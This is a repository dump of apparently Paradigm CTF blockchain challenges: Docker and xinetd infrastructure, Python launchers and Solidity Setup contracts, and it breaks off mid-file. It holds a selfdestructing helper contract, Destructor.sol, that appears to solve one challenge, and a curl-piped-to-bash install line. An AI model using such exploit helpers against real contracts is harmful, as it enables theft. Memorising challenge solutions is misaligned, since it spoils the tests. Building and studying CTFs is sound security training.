├── README.md ├── problems ├── babycrypto │ ├── public │ │ ├── deploy │ │ │ ├── requirements.txt │ │ │ └── chal.py │ │ └── Dockerfile │ └── solution │ │ └── main.py ├── babyrev │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ └── requirements.txt │ │ └── contracts │ │ └── Setup.sol ├── bank │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ └── requirements.txt │ │ └── contracts │ │ └── Setup.sol ├── bouncer │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ └── requirements.txt │ │ └── contracts │ │ ├── Setup.sol │ │ └── Bouncer.sol ├── broker │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ └── requirements.txt │ │ └── contracts │ │ ├── Setup.sol │ │ └── Broker.sol ├── farmer │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ └── requirements.txt │ │ └── contracts │ │ └── Setup.sol ├── hello │ └── public │ │ ├── Dockerfile │ │ ├── contracts │ │ ├── Hello.sol │ │ └── Setup.sol │ │ └── deploy │ │ ├── chal.py │ │ ├── requirements.txt │ │ └── compiled.bin ├── jop │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ └── requirements.txt │ │ └── contracts │ │ ├── Setup.sol │ │ ├── Context.sol │ │ ├── Address.sol │ │ └── IERC20.sol ├── lockbox │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ └── requirements.txt │ │ └── contracts │ │ ├── Setup.sol │ │ └── Lockbox.sol ├── market │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ └── requirements.txt │ │ └── contracts │ │ └── Setup.sol ├── rever │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── requirements.txt │ │ └── chal.py │ │ └── contracts │ │ └── Setup.sol ├── secure │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ └── requirements.txt │ │ ├── solution │ │ ├── hardhat.config.ts │ │ ├── package.json │ │ └── scripts │ │ │ └── sendEth.js │ │ └── contracts │ │ ├── Setup.sol │ │ └── Wallet.sol ├── swap │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ └── requirements.txt │ │ └── contracts │ │ ├── ERC20.sol │ │ ├── Setup.sol │ │ └── ReentrancyGuard.sol ├── upgrade │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ └── requirements.txt │ │ └── contracts │ │ ├── Setup.sol │ │ └── FiatTokenV3.sol ├── vault │ └── public │ │ ├── Dockerfile │ │ ├── contracts │ │ ├── GuardConstants.sol │ │ ├── Guard.sol │ │ ├── Setup.sol │ │ ├── GuardRegistry.sol │ │ ├── SingleOwnerGuard.sol │ │ └── Vault.sol │ │ └── deploy │ │ ├── chal.py │ │ └── requirements.txt ├── babysandbox │ └── public │ │ ├── Dockerfile │ │ ├── deploy │ │ ├── chal.py │ │ ├── requirements.txt │ │ └── compiled.bin │ │ └── contracts │ │ ├── Setup.sol │ │ └── BabySandbox.sol └── yield_aggregator │ └── public │ ├── deploy │ ├── chal.py │ └── requirements.txt │ ├── Dockerfile │ └── contracts │ ├── Setup.sol │ └── YieldAggregator.sol ├── .vscode └── settings.json ├── challenge_base └── challenge_base │ ├── handler.sh │ ├── 99-start-xinetd │ ├── entrypoint.sh │ ├── Dockerfile │ └── 00-create-xinetd-service ├── eth_challenge_base └── eth_challenge_base │ ├── eth_sandbox │ ├── __init__.py │ └── auth.py │ ├── 98-start-gunicorn │ └── Dockerfile ├── contracts ├── hello │ ├── Hello.sol │ └── Setup.sol ├── mocks │ └── MockERC20.sol ├── lockbox │ ├── Setup.sol │ ├── Execute.sol │ └── Lockbox.sol ├── babysandbox │ ├── Setup.sol │ ├── Destructor.sol │ └── BabySandbox.sol ├── bouncer │ ├── Setup.sol │ └── Bouncer.sol ├── secure │ ├── Setup.sol │ └── Wallet.sol ├── upgrade │ ├── Setup.sol │ ├── EIP712Domain.sol │ ├── FiatTokenV1_1.sol │ ├── AbstractFiatTokenV1.sol │ ├── AbstractFiatTokenV2.sol │ ├── FiatTokenV3.sol │ ├── Rescuable.sol │ ├── IERC20.sol │ ├── EIP712.sol │ ├── Ownable.sol │ ├── Blacklistable.sol │ ├── Pausable.sol │ ├── ECRecover.sol │ ├── Permit.sol │ └── SafeERC20.sol ├── market │ └── Setup.sol ├── farmer │ ├── Setup.sol │ └── Farmer.sol ├── yield_aggregator │ ├── Setup.sol │ └── YieldAggregator.sol └── broker │ ├── Setup.sol │ └── Broker.sol ├── .solhint.json ├── task ├── utils.ts ├── hello.ts ├── upgrade.ts ├── babysandbox.ts ├── bouncer.ts ├── farmer.ts ├── lockbox.ts ├── yield.ts ├── market.ts └── broker.ts ├── tsconfig.json ├── .prettierrc ├── package.json ├── hardhat.config.ts └── .gitignore /README.md: -------------------------------------------------------------------------------- 1 | # paradigm-ctf -------------------------------------------------------------------------------- /problems/babycrypto/public/deploy/requirements.txt: -------------------------------------------------------------------------------- 1 | ecdsa==0.16.1 2 | pysha3==1.0.2 3 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "solidity.compileUsingRemoteVersion": "v0.7.6+commit.7338295f" 3 | } -------------------------------------------------------------------------------- /challenge_base/challenge_base/handler.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | exec python3 /home/ctf/chal.py 2>&1 4 | -------------------------------------------------------------------------------- /challenge_base/challenge_base/99-start-xinetd: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | xinetd -filelog /var/log/ctf/xinetd.log 4 | -------------------------------------------------------------------------------- /eth_challenge_base/eth_challenge_base/eth_sandbox/__init__.py: -------------------------------------------------------------------------------- 1 | from .auth import * 2 | from .launcher import * 3 | -------------------------------------------------------------------------------- /problems/babycrypto/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/babyrev/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/bank/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/bouncer/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/broker/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/farmer/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/hello/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/jop/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/lockbox/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/market/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/rever/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/secure/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/swap/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/upgrade/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/vault/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /problems/babysandbox/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | -------------------------------------------------------------------------------- /challenge_base/challenge_base/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | for f in /startup/*; do 4 | echo "[+] running $f" 5 | bash "$f" 6 | done 7 | 8 | tail -f /var/log/ctf/* 9 | -------------------------------------------------------------------------------- /contracts/hello/Hello.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | contract Hello { 4 | bool public solved = false; 5 | 6 | function solve() public { 7 | solved = true; 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /problems/lockbox/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/vault/public/contracts/GuardConstants.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.16; 2 | 3 | contract GuardConstants { 4 | uint8 internal constant NO_ERROR = 0; 5 | uint8 internal constant PERMISSION_DENIED = 1; 6 | } 7 | -------------------------------------------------------------------------------- /problems/babysandbox/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/hello/public/contracts/Hello.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | contract Hello { 4 | bool public solved = false; 5 | 6 | function solve() public { 7 | solved = true; 8 | 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /.solhint.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "solhint:default", 3 | "plugins": ["prettier"], 4 | "rules": { 5 | "prettier/prettier": "error", 6 | "not-rely-on-time": "off", 7 | "max-line-length": ["error", 100] 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /problems/babyrev/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(50, 'ether')), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/bank/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(50, 'ether')), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/broker/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(50, 'ether')), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/farmer/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(100, 'ether')), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/hello/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(0, 'ether')), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/jop/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(50, 'ether')), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/market/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(50, 'ether')), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/secure/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(50, 'ether')), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/swap/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(500, 'ether')), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/bouncer/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(100, 'ether')), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /problems/yield_aggregator/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(100, 'ether')), 6 | eth_sandbox.new_get_flag_action() 7 | ]) 8 | -------------------------------------------------------------------------------- /contracts/mocks/MockERC20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.7.0; 2 | 3 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 4 | 5 | contract MockERC20 is ERC20("MockERC20", "MOCK") { 6 | constructor() public { 7 | ERC20._mint(msg.sender, 1000 ether); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /problems/vault/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | eth_sandbox.run_launcher([ 5 | eth_sandbox.new_launch_instance_action(deploy_value=Web3.toWei(0, 'ether')), 6 | eth_sandbox.new_get_flag_action(eth_sandbox.is_solved_checker) 7 | ]) 8 | -------------------------------------------------------------------------------- /eth_challenge_base/eth_challenge_base/98-start-gunicorn: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | gunicorn \ 4 | --bind 0.0.0.0:$HTTP_PORT \ 5 | --daemon \ 6 | --access-logfile /var/log/ctf/gunicorn.access.log \ 7 | --error-logfile /var/log/ctf/gunicorn.error.log \ 8 | eth_sandbox.server:app 9 | -------------------------------------------------------------------------------- /problems/yield_aggregator/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/eth_challenge_base:latest 2 | 3 | COPY deploy/ /home/ctf/ 4 | 5 | RUN python3 -m pip install -r /home/ctf/requirements.txt 6 | 7 | # install hh 8 | WORKDIR /home/hh 9 | RUN npm init -y 10 | RUN npm i hardhat 11 | RUN touch hardhat.config.js 12 | -------------------------------------------------------------------------------- /contracts/hello/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | import "./Hello.sol"; 4 | 5 | contract Setup { 6 | Hello public hello; 7 | 8 | constructor() { 9 | hello = new Hello(); 10 | } 11 | 12 | function isSolved() public view returns (bool) { 13 | return hello.solved(); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /task/utils.ts: -------------------------------------------------------------------------------- 1 | import { Contract, Signer } from 'ethers' 2 | 3 | export async function getBalance(contract: Contract) { 4 | return contract.provider.getBalance(contract.address) 5 | } 6 | 7 | export async function getTimestamp(signer: Signer) { 8 | return (await signer.provider?.getBlock('latest'))?.timestamp as number 9 | } 10 | -------------------------------------------------------------------------------- /eth_challenge_base/eth_challenge_base/eth_sandbox/auth.py: -------------------------------------------------------------------------------- 1 | from uuid import uuid4 2 | 3 | def load_auth_key(): 4 | with open("/tmp/auth", "r") as f: 5 | return f.read() 6 | 7 | def generate_auth_key(): 8 | auth_key = str(uuid4()) 9 | with open("/tmp/auth", "w") as f: 10 | f.write(auth_key) 11 | return auth_key 12 | -------------------------------------------------------------------------------- /problems/hello/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.8.0; 2 | 3 | import "./Hello.sol"; 4 | 5 | contract Setup { 6 | Hello public hello; 7 | 8 | constructor() { 9 | hello = new Hello(); 10 | } 11 | 12 | function isSolved() public view returns (bool) { 13 | return hello.solved(); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es5", 4 | "module": "commonjs", 5 | "strict": true, 6 | "esModuleInterop": true, 7 | "resolveJsonModule": true, 8 | "downlevelIteration": true, 9 | "outDir": "dist" 10 | }, 11 | "include": ["test", "task"], 12 | "files": ["hardhat.config.ts"] 13 | } 14 | -------------------------------------------------------------------------------- /contracts/lockbox/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.24; 2 | 3 | import "./Lockbox.sol"; 4 | 5 | contract Setup { 6 | Entrypoint public entrypoint; 7 | 8 | constructor() public { 9 | entrypoint = new Entrypoint(); 10 | } 11 | 12 | function isSolved() public view returns (bool) { 13 | return entrypoint.solved(); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /problems/lockbox/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.24; 2 | 3 | import "./Lockbox.sol"; 4 | 5 | contract Setup { 6 | Entrypoint public entrypoint; 7 | 8 | constructor() public { 9 | entrypoint = new Entrypoint(); 10 | } 11 | 12 | function isSolved() public view returns (bool) { 13 | return entrypoint.solved(); 14 | } 15 | } 16 | 17 | -------------------------------------------------------------------------------- /contracts/lockbox/Execute.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.6; 2 | pragma abicoder v2; 3 | 4 | import "@openzeppelin/contracts/utils/Address.sol"; 5 | 6 | contract Execute { 7 | using Address for address; 8 | 9 | constructor(address target, bytes[] memory data) { 10 | for (uint256 index = 0; index < data.length; index++) { 11 | target.functionCall(data[index]); 12 | } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "semi": false, 3 | "trailingComma": "all", 4 | "singleQuote": true, 5 | "bracketSpacing": true, 6 | "printWidth": 80, 7 | "overrides": [ 8 | { 9 | "files": "*.sol", 10 | "options": { 11 | "printWidth": 100, 12 | "tabWidth": 4, 13 | "useTabs": false, 14 | "singleQuote": false, 15 | "bracketSpacing": false, 16 | "explicitTypes": "always" 17 | } 18 | } 19 | ] 20 | } 21 | -------------------------------------------------------------------------------- /contracts/babysandbox/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.0; 2 | 3 | import "./BabySandbox.sol"; 4 | 5 | contract Setup { 6 | BabySandbox public sandbox; 7 | 8 | constructor() { 9 | sandbox = new BabySandbox(); 10 | } 11 | 12 | function isSolved() public view returns (bool) { 13 | uint size; 14 | assembly { 15 | size := extcodesize(sload(sandbox.slot)) 16 | } 17 | return size == 0; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /problems/babysandbox/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.0; 2 | 3 | import "./BabySandbox.sol"; 4 | 5 | contract Setup { 6 | BabySandbox public sandbox; 7 | 8 | constructor() { 9 | sandbox = new BabySandbox(); 10 | } 11 | 12 | function isSolved() public view returns (bool) { 13 | uint size; 14 | assembly { 15 | size := extcodesize(sload(sandbox.slot)) 16 | } 17 | return size == 0; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /eth_challenge_base/eth_challenge_base/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ctf/challenge_base:latest 2 | 3 | ENV HTTP_PORT=8545 4 | 5 | RUN true \ 6 | && curl -sL https://deb.nodesource.com/setup_current.x | bash - \ 7 | && apt update \ 8 | && apt install -y nodejs \ 9 | && rm -rf /var/cache/apt/archives \ 10 | && npm install -g ganache-cli \ 11 | && pip install web3 flask flask_cors gunicorn \ 12 | && true 13 | 14 | COPY 98-start-gunicorn /startup 15 | 16 | COPY eth_sandbox /usr/lib/python/eth_sandbox 17 | ENV PYTHONPATH /usr/lib/python 18 | -------------------------------------------------------------------------------- /challenge_base/challenge_base/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.1-buster 2 | 3 | ENV PORT=31337 4 | 5 | RUN true \ 6 | && mkdir /var/log/ctf \ 7 | && mkdir /startup \ 8 | && apt update \ 9 | && apt install -y xinetd tini \ 10 | && rm -rf /var/cache/apt/archives \ 11 | && useradd -m ctf \ 12 | && true 13 | 14 | COPY 00-create-xinetd-service /startup 15 | COPY 99-start-xinetd /startup 16 | COPY handler.sh /home/ctf/handler.sh 17 | COPY entrypoint.sh /entrypoint.sh 18 | 19 | ENTRYPOINT ["tini", "-g", "--"] 20 | CMD ["/entrypoint.sh"] 21 | -------------------------------------------------------------------------------- /contracts/babysandbox/Destructor.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.0; 2 | 3 | contract Destructor { 4 | Destructor public other; 5 | uint foo; 6 | 7 | constructor(address payable _other) public { 8 | other = Destructor(_other); 9 | foo = 1; 10 | } 11 | function increment() external payable { 12 | foo += 1; 13 | } 14 | fallback() external payable { 15 | try Destructor(0xc5e4ff84122F0895802eA82BcE728A7DCEF64a53).increment() { 16 | selfdestruct(msg.sender); 17 | } catch(bytes memory _err) { } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /problems/babyrev/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.24; 2 | 3 | import "private/Challenge.sol"; 4 | 5 | interface ChallengeInterface { 6 | function solved() public view returns (bool); 7 | } 8 | 9 | contract Setup { 10 | ChallengeInterface public challenge; 11 | 12 | constructor() public payable { 13 | require(msg.value == 50 ether); 14 | 15 | challenge = ChallengeInterface(address(new Challenge())); 16 | } 17 | 18 | function isSolved() public view returns (bool) { 19 | return challenge.solved(); 20 | } 21 | } -------------------------------------------------------------------------------- /problems/secure/public/solution/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | require("@nomiclabs/hardhat-waffle"); 2 | 3 | 4 | // You need to export an object to set up your config 5 | // Go to https://hardhat.org/config/ to learn more 6 | 7 | /** 8 | * @type import('hardhat/config').HardhatUserConfig 9 | */ 10 | module.exports = { 11 | defaultNetwork: "paradigm", 12 | networks: { 13 | hardhat: { 14 | allowUnlimitedContractSize: true, 15 | }, 16 | paradigm: { 17 | url: process.env.RPC_URL, 18 | accounts: [process.env.PRIVATE_KEY] 19 | }, 20 | }, 21 | solidity: '0.5.12', 22 | }; 23 | -------------------------------------------------------------------------------- /problems/swap/public/contracts/ERC20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.24; 2 | 3 | contract ERC20Like { 4 | function transfer(address, uint) public; 5 | function transferFrom(address, address, uint) public; 6 | function approve(address, uint) public; 7 | 8 | function decimals() public view returns (uint8); 9 | function name() public view returns (string memory); 10 | function symbol() public view returns (string memory); 11 | function allowance(address owner, address spender) public view returns (uint); 12 | 13 | function balanceOf(address) public view returns (uint); 14 | function totalSupply() public view returns (uint); 15 | } -------------------------------------------------------------------------------- /problems/vault/public/contracts/Guard.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.16; 2 | 3 | import "./GuardConstants.sol"; 4 | import "./Vault.sol"; 5 | 6 | contract Guard is GuardConstants { 7 | // initialize the proxied guard for the given vault 8 | function initialize(Vault owner) external; 9 | 10 | // cleanup the proxied guard 11 | function cleanup() external; 12 | 13 | // Check if access is permited for the given user and operation. 14 | // Returns a result code and a guard-specific code 15 | function isAllowed(address who, string op) external view returns (uint8 res, uint8 code); 16 | } 17 | 18 | contract GuardIdGetter { 19 | // get the id of the guard 20 | function id() public view returns (bytes32); 21 | } 22 | -------------------------------------------------------------------------------- /challenge_base/challenge_base/00-create-xinetd-service: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cat < /etc/xinetd.d/ctf 4 | service ctf 5 | { 6 | type = UNLISTED 7 | flags = NODELAY 8 | disable = no 9 | socket_type = stream 10 | protocol = tcp 11 | wait = no 12 | user = ctf 13 | log_type = FILE /var/log/ctf/xinetd.log 14 | log_on_success = PID HOST EXIT DURATION 15 | log_on_failure = HOST ATTEMPT 16 | port = ${PORT} 17 | bind = 0.0.0.0 18 | server = /home/ctf/handler.sh 19 | per_source = ${PER_SOURCE:-4} 20 | cps = ${CPS_RATE:-200} ${CPS_DELAY:-5} 21 | rlimit_cpu = ${RLIMIT_CPU:-5} 22 | } 23 | EOF 24 | -------------------------------------------------------------------------------- /problems/upgrade/public/deploy/chal.py: -------------------------------------------------------------------------------- 1 | import eth_sandbox 2 | from web3 import Web3 3 | 4 | def generate_txs(contract_addr: str): 5 | return [ 6 | { 7 | "from": "0x807a96288A1A408dBC13DE2b1d087d10356395d2", 8 | "to": "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48", 9 | "data": "0x8f283970000000000000000000000000" + contract_addr[2:], 10 | }, 11 | { 12 | "gas": 10000000, 13 | "gasPrice": 0, 14 | "from": "deployer", 15 | "to": contract_addr, 16 | "data": Web3.sha3(text="upgrade()")[:10], 17 | }, 18 | ] 19 | 20 | eth_sandbox.run_launcher([ 21 | eth_sandbox.new_launch_instance_action(get_other_txs=generate_txs), 22 | eth_sandbox.new_get_flag_action() 23 | ]) 24 | -------------------------------------------------------------------------------- /problems/bank/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.24; 2 | 3 | import "./Bank.sol"; 4 | 5 | contract WETH9 is ERC20Like { 6 | function deposit() public payable; 7 | } 8 | 9 | contract Setup { 10 | WETH9 public constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); 11 | Bank public bank; 12 | 13 | constructor() public payable { 14 | require(msg.value == 50 ether); 15 | 16 | bank = new Bank(); 17 | 18 | weth.deposit.value(msg.value)(); 19 | weth.approve(address(bank), uint(-1)); 20 | bank.depositToken(0, address(weth), weth.balanceOf(address(this))); 21 | } 22 | 23 | function isSolved() external view returns (bool) { 24 | return weth.balanceOf(address(bank)) == 0; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /problems/vault/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.16; 2 | 3 | import "./SingleOwnerGuard.sol"; 4 | import "./GuardRegistry.sol"; 5 | import "./Vault.sol"; 6 | 7 | contract Setup { 8 | GuardRegistry public registry; 9 | Vault public vault; 10 | 11 | function Setup() public { 12 | registry = new GuardRegistry(); 13 | registry.registerGuardImplementation(new SingleOwnerGuard(), true); 14 | 15 | vault = new Vault(registry); 16 | 17 | SingleOwnerGuard guard = SingleOwnerGuard(vault.guard()); 18 | guard.addPublicOperation("deposit"); 19 | guard.addPublicOperation("withdraw"); 20 | } 21 | 22 | function isSolved() public view returns (bool) { 23 | return vault.owner() != address(this); 24 | } 25 | } -------------------------------------------------------------------------------- /problems/jop/public/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.7.6; 2 | 3 | import "private/Challenge.sol"; 4 | 5 | interface ChallengeInterface is IERC20 { 6 | function buyTokens() external payable; 7 | 8 | function owner() external view returns (address); 9 | } 10 | 11 | contract 